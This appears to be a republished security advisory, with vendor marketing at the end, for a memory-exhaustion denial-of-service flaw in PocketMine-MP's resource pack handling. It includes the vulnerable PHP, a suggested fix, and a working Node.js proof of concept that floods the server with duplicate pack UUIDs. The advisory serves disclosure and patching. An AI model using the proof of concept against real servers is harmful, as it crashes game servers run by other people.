Summary
PocketMine-MP ResourcePackDataInfoPacket amplification vulnerability due to lack of resource pack sequence status checking
A denial-of-service / out-of-memory vulnerability exists in the STATUS_SEND_PACKS handling of ResourcePackClientResponsePacket.
PocketMine-MP processes the packIds array without verifying that all entries are unique.
A malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same STATUS_SEND_PACKS packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server.
Severity: High, Remote DoS from an authenticated client.
Details
Relevant code (simplified):
case ResourcePackClientResponsePacket::STATUS_SEND_PACKS:
foreach($packet->packIds as $uuid){
$splitPos = strpos($uuid, "_");
if($splitPos !== false){
$uuid = substr($uuid, 0, $splitPos);
}
$pack = $this->getPackById($uuid);
if(!($pack instanceof ResourcePack)){
$this->disconnectWithError("Unknown pack $uuid requested...");
return false;
}
$this->session->sendDataPacket(ResourcePackDataInfoPacket::create(
$pack->getPackId(),
self::PACK_CHUNK_SIZE,
(int) ceil($pack->getPackSize() / self::PACK_CHUNK_SIZE),
$pack->getPackSize(),
$pack->getSha256(),
false,
ResourcePackType::RESOURCES
));
}
break;
Root cause:
- The
packIdsarray is taken directly from the client packet and processed as-is. - There is no check to ensure that all requested packs are unique.
- A malicious client can craft a
STATUS_SEND_PACKSpacket with many duplicates of a valid UUID. - Each duplicate results in the server re-sending the same pack, consuming additional memory.
Why this is unexpected:
- Mojang's official clients never send duplicates in
packIds. - PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client.
Suggested fix:
Before sending packs:
- Remove duplicates from the incoming
packIdsarray. - If the difference between the original count and unique count exceeds a small threshold (e.g. > 2 duplicates), immediately disconnect the client with an error.
- Track which packs have already been sent to this player, and skip any that have already been transferred.
$alreadySent = $this->packsSent ?? [];
// Remove duplicates
$uniquePackIds = array_unique($packet->packIds);
// Detect abuse
if(count($packet->packIds) - count($uniquePackIds) > 2){
$this->disconnectWithError("Too many duplicate resource pack requests");
return false;
}
foreach($uniquePackIds as $uuid){
if(in_array($uuid, $alreadySent, true)){
continue; // Skip packs already sent to this player
}
// existing code...
$alreadySent[] = $uuid;
}
$this->packsSent = $alreadySent;
PoC
Join a PocketMine-MP server with at least one resource pack enabled.
Using a custom Bedrock client, send a
ResourcePackClientResponsePacketwith:status = STATUS_SEND_PACKSpackIds= many duplicates of a known valid pack UUID.
Example Node.js PoC (requires bedrock-protocol and a valid PACK_UUID):
import { createClient } from 'bedrock-protocol';
const host = '127.0.0.1';
const port = 19132;
const username = 'test';
const PACK_UUID = '00000000-0000-0000-0000-000000000000'; // replace with a real UUID
const DUPLICATES = 1000;
const client = createClient({
host,
port,
username,
offline: true
});
client.on('spawn', () => {
console.log('[*] Sending duplicate pack request...');
client.queue('resource_pack_client_response', {
response_status: 'send_packs',
resourcepackids: Array(DUPLICATES).fill(PACK_UUID)
});
});
Impact
- Type: Remote Denial of Service / Memory Exhaustion
- Who is impacted: Any PocketMine-MP server with resource packs enabled
- Requirements: Attacker must connect to the server (authenticated player)
- Effect: Server memory rapidly increases, leading to freeze or crash
The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is GHSA-FQQV-56H5-F57G? GHSA-FQQV-56H5-F57G is a high-severity allocation of resources without limits or throttling vulnerability in pocketmine/pocketmine-mp (composer), affecting versions < 5.32.1. It is fixed in 5.32.1. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
- Which versions of pocketmine/pocketmine-mp are affected by GHSA-FQQV-56H5-F57G? pocketmine/pocketmine-mp (composer) versions < 5.32.1 is affected.
- Is there a fix for GHSA-FQQV-56H5-F57G? Yes. GHSA-FQQV-56H5-F57G is fixed in 5.32.1. Upgrade to this version or later.
- Is GHSA-FQQV-56H5-F57G exploitable, and should I be worried? Whether GHSA-FQQV-56H5-F57G is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-FQQV-56H5-F57G is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-FQQV-56H5-F57G? Upgrade
pocketmine/pocketmine-mpto 5.32.1 or later.